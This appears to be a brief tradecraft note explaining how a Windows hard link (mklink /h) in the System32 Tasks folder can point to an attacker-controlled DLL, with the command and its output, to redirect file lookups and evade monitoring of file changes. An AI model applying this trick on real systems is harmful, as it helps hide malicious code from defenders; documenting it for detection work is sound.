Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.
